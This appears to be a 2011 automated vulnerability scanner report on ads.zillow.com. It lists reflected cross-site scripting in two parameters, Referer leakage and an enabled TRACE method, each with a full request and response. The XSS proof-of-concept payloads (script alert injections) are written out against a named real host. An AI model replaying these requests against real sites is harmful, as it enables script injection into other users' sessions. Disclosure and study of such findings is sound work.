XSS, Ad CDN, DORK, ads.zillow.com, Cross Site Scripting

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 13 07:15:07 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading

1. Cross-site scripting (reflected)

1.1. http://ads.zillow.com/s/show [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001EB)%3C/script%3E parameter]

1.2. http://ads.zillow.com/s/show [name of an arbitrarily supplied request parameter]

2. Cross-domain Referer leakage

3. TRACE method is enabled



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://ads.zillow.com/s/show [%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001EB)%3C/script%3E parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.zillow.com
Path:   /s/show

Issue detail

The value of the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001EB)%3C/script%3E request parameter is copied into the HTML document as plain text between tags. The payload 7e7a9<script>alert(1)</script>f8af6563fda was submitted in the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001EB)%3C/script%3E parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /s/show?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001EB)%3C/script%3E7e7a9<script>alert(1)</script>f8af6563fda HTTP/1.1
Host: ads.zillow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bchk=1; zguid=3|9737b7e6-bd95-4a7b-a9f9-e778893bb455%09false%09%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%09false; s_fv=flash%2010; s_vi=[CS]v1|26BDFD6C051D362E-60000103C0200D9B[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; fsr.s={"cp":{"Foresee_Guid":"9737b7e6-bd95-4a7b-a9f9-e778893bb455","Foresee_Zuid":"","Foresee_BestZip":""},"v":1,"rid":"1299970813078_60951","pv":8,"to":5,"c":"http://www.zillow.com/vstatic/8a5516d0088408e030c362aa860e9280/static/swf/b9217\"-alert(\"XSS\")-\"70026f5fc1c/","lc":{"d0":{"v":8,"s":true}},"cd":0,"sd":0,"f":1299971110703}; search=4|1300057540501%7Crect%3D55.69519%252C-64.375434%252C15.737725%252C-129.326605%26zm%3D3%26disp%3Dmap%26lm%3D0%26fm%3D1%26xm%3Dpsqft%26p%3D1%26att%3D6e3cb%25253Cscript%25253Ealert%252528%252522XSS%252522%252529%25253C-script%25253E22b91df51a%26fs%3D1%26fr%3D1%26mmm%3D1%26rs%3D1%26ah%3D0%09%01%09%09%09; abtest=1|BotoxDefaultView%3D77%3ABotoxOnHDP%3D76%3AMortgageShoppingForm%3D86%3AMortgageShoppingContactFormLength%3D60%3AHDPShowcaseModuleTitle%3D67%3AMortgageShoppingBestQuotesFilterTest%3D68%3AHomepageZMMUpsells%3D88%3AHomepageZMMRedesign%3D61%3AMortgageQuoteDetailsView%3D76

Response

HTTP/1.1 200 OK
Date: Sat, 12 Mar 2011 23:27:36 GMT
Server: Apache/2.2.9 (Debian)
Cache-Control: max-age=0, no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 969

<html><head></head><body style="width:300px;height:200px;overflow:hidden;border:0px;margin:5px;text-align:center"><div id="haiku" style="height:3em;position:relative;top:50%;margin-top:-2em; color:#D2
...[SNIP]...
</script>7e7a9<script>alert(1)</script>f8af6563fda)
</div>
...[SNIP]...

1.2. http://ads.zillow.com/s/show [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.zillow.com
Path:   /s/show

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload f3b2d<script>alert(1)</script>8ccf8a29efa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /s/show?format=HTML&prid=search%2FResurrectionSearchPage&chan=1&rid=&f3b2d<script>alert(1)</script>8ccf8a29efa=1 HTTP/1.1
Host: ads.zillow.com
Proxy-Connection: keep-alive
Referer: http://www.zillow.com/homes/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bchk=1; zguid=3|9737b7e6-bd95-4a7b-a9f9-e778893bb455%09false%09%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%09false; s_fv=flash%2010; s_vi=[CS]v1|26BDFD6C051D362E-60000103C0200D9B[CE]; abtest=1|BotoxDefaultView%3D77%3ABotoxOnHDP%3D76%3AMortgageShoppingForm%3D86%3AMortgageShoppingContactFormLength%3D60%3AHDPShowcaseModuleTitle%3D67%3AMortgageShoppingBestQuotesFilterTest%3D68%3AHomepageZMMUpsells%3D88%3AHomepageZMMRedesign%3D61%3AMortgageQuoteDetailsView%3D76; search=4|1300057202900%7Crect%3D50.62214%252C-68.327143%252C23.705962%252C-125.374896%26fs%3D1%26fr%3D1%26mmm%3D1%26rs%3D1%26ah%3D0%09%01%09%09%09; fsr.a=1299970839254; fsr.s={"cp":{"Foresee_Guid":"9737b7e6-bd95-4a7b-a9f9-e778893bb455","Foresee_Zuid":"","Foresee_BestZip":""},"v":1,"rid":"1299970813078_60951","pv":1,"to":3,"c":"http://www.zillow.com/","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0,"f":1299970837066}; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 12 Mar 2011 23:01:02 GMT
Server: Apache/2.2.9 (Debian)
Cache-Control: max-age=0, no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 916

<html><head></head><body style="width:300px;height:200px;overflow:hidden;border:0px;margin:5px;text-align:center"><div id="haiku" style="height:3em;position:relative;top:50%;margin-top:-2em; color:#D2
...[SNIP]...
params)
File "/opt/zillow/services/showcase-display-server-1.2.6/server/param_mapper.py", line 99, in convert_params
raise Exception ("unknown parameter (%s)" % k)
Exception: unknown parameter (f3b2d<script>alert(1)</script>8ccf8a29efa)
</div>
...[SNIP]...

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.zillow.com
Path:   /s/show

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /s/show?format=HTML&prid=search%2FResurrectionSearchPage&chan=1&rid= HTTP/1.1
Host: ads.zillow.com
Proxy-Connection: keep-alive
Referer: http://www.zillow.com/homes/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bchk=1; zguid=3|9737b7e6-bd95-4a7b-a9f9-e778893bb455%09false%09%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%09false; s_fv=flash%2010; s_vi=[CS]v1|26BDFD6C051D362E-60000103C0200D9B[CE]; abtest=1|BotoxDefaultView%3D77%3ABotoxOnHDP%3D76%3AMortgageShoppingForm%3D86%3AMortgageShoppingContactFormLength%3D60%3AHDPShowcaseModuleTitle%3D67%3AMortgageShoppingBestQuotesFilterTest%3D68%3AHomepageZMMUpsells%3D88%3AHomepageZMMRedesign%3D61%3AMortgageQuoteDetailsView%3D76; search=4|1300057202900%7Crect%3D50.62214%252C-68.327143%252C23.705962%252C-125.374896%26fs%3D1%26fr%3D1%26mmm%3D1%26rs%3D1%26ah%3D0%09%01%09%09%09; fsr.a=1299970839254; fsr.s={"cp":{"Foresee_Guid":"9737b7e6-bd95-4a7b-a9f9-e778893bb455","Foresee_Zuid":"","Foresee_BestZip":""},"v":1,"rid":"1299970813078_60951","pv":1,"to":3,"c":"http://www.zillow.com/","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0,"f":1299970837066}; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 12 Mar 2011 23:00:08 GMT
Server: Apache/2.2.9 (Debian)
Cache-Control: max-age=0, no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 3511

<html>
<head>
<title>Advertisement</title>
<style type="text/css" media="screen, projection">
html{border:0;margin:0;padding:0;width:300px;height:200px;background-color
...[SNIP]...
<div class="image"><img style="height:76;width:101;" src="http://www.zillowstatic.com/static/images/showcase-ads-thumb/zmm-quote-ez.png"></img>
...[SNIP]...
<div class="image"><img style="height:76;width:101;" src="http://www.zillowstatic.com/static/images/showcase-ads-thumb/iphone-nogps.png"></img>
...[SNIP]...

3. TRACE method is enabled  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.zillow.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: ads.zillow.com
Cookie: 5622eafb03a9301f

Response

HTTP/1.1 200 OK
Date: Sat, 12 Mar 2011 23:00:09 GMT
Server: Apache/2.2.9 (Debian)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: ads.zillow.com
Cookie: 5622eafb03a9301f


Report generated by XSS.CX at Sun Mar 13 07:15:07 CDT 2011.